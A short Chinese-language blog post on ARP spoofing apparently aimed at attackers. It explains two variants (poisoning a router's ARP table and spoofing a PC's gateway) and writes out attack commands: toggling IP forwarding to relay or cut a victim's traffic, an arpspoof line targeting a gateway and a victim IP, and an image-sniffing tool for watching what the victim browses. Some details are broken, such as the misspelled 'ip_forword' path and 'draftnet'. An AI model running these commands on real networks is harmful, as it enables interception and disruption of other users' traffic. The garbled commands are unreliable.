ARP欺骗： 由于局域网的网络流通不是根据IP地址进行，而是根据MAC地址进行传输。所以，MAC地址在A上被伪造成一个不存在的MAC地址，这样就会导致网络不通，A不能Ping通!这就是一个简单的ARP欺骗。

　　ARP欺骗是黑客常用的攻击手段之一，ARP欺骗分为二种，一种是对路由器ARP表的欺骗；另一种是对内网PC的网关欺骗。

欺骗代码：echo 1 > /proc/sys/net/ipv4/ip_forword --1是指替被欺骗的pc像网关发送数据改为0则是不发送数据，被骗的pc就无法正常上网。

        draftnet是指监听被骗pc所浏览的图片。

        arpspoof -i eth0 -t 172.28.15.254 172.28.15.34  欺骗网关，前一个为网关，后一个为被骗ip地址。

本文出自 “12034997” 博客，谢绝转载！

ARP欺骗